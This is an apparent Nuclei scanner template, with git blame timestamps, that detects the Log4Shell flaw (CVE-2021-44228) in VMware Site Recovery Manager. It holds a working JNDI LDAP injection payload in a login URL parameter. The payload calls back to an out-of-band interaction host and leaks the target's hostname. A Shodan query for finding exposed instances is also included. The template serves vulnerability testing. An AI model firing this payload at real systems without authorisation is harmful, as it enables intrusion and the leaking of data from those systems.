nuclei-templates/http/vulnerabilities/other/vmware-siterecovery-log4j-r...

67 lines
2.2 KiB
YAML
Raw Permalink Normal View History

id: vmware-siterecovery-log4j-rce
2022-07-14 17:30:42 +00:00
info:
name: VMware Site Recovery Manager - Remote Code Execution (Apache Log4j)
2022-07-14 17:30:42 +00:00
author: akincibor
severity: critical
2022-07-14 17:30:42 +00:00
description: |
VMware Site Recovery Manager is susceptible to remote code execution via the Apache Log4j framework. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
2022-07-14 17:30:42 +00:00
reference:
- https://www.horizon3.ai/the-long-tail-of-log4shell-exploitation/
- https://logging.apache.org/log4j/2.x/security.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
2022-07-14 17:30:42 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2021-44228
cwe-id: CWE-77
2022-07-14 17:30:42 +00:00
metadata:
2023-10-14 11:27:55 +00:00
verified: true
max-request: 1
2022-07-14 17:30:42 +00:00
shodan-query: title:"VMware Site Recovery Manager"
tags: cve,cve2021,jndi,log4j,rce,oast,vmware,siterecovery,kev
2023-05-03 18:46:17 +00:00
variables:
rand1: '{{rand_int(111, 999)}}'
rand2: '{{rand_int(111, 999)}}'
http:
2022-07-14 17:30:42 +00:00
- method: GET
path:
2023-05-03 18:46:17 +00:00
- '{{BaseURL}}/dr/authentication/oauth2/oauth2login?error=$%7Bjndi%3Aldap%3A%2F%2F$%7B%3A-{{rand1}}%7D$%7B%3A-{{rand2}}%7D.$%7BhostName%7D.uri.{{interactsh-url}}%7D'
2022-07-14 17:30:42 +00:00
matchers-condition: and
matchers:
- type: word
2023-11-17 08:48:58 +00:00
part: body
2022-07-14 17:30:42 +00:00
words:
2023-11-17 08:48:58 +00:00
- '<title>Error - Site Recovery</title>'
2022-07-14 17:30:42 +00:00
- type: word
2023-11-17 08:48:58 +00:00
part: interactsh_protocol # Confirms the DNS Interaction
words:
2023-11-17 08:48:58 +00:00
- "dns"
2023-07-16 13:32:52 +00:00
- type: regex
part: interactsh_request
regex:
2023-11-17 08:48:58 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
2023-07-16 13:32:52 +00:00
2022-07-14 17:30:42 +00:00
extractors:
- type: kval
kval:
2023-11-17 08:48:58 +00:00
- interactsh_ip
2023-05-03 18:46:17 +00:00
- type: regex
2023-11-17 08:48:58 +00:00
part: interactsh_request
2023-05-03 18:46:17 +00:00
group: 2
regex:
2023-11-17 08:48:58 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
2023-05-03 18:46:17 +00:00
2022-07-14 17:30:42 +00:00
- type: regex
2023-11-17 08:48:58 +00:00
part: interactsh_request
2022-07-14 17:30:42 +00:00
group: 1
regex:
2023-11-17 08:48:58 +00:00
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
# digest: 4a0a00473045022100a078cca053515772e3c7c35c3103dfa2057c860d5f6b4de412f4c3e4d3fbd19802200676fededeb777ab4b6f32734d1c326f536531a7f5c4d74ab48aec1aafd25beb:922c64590222798bb761d5b6d8e72950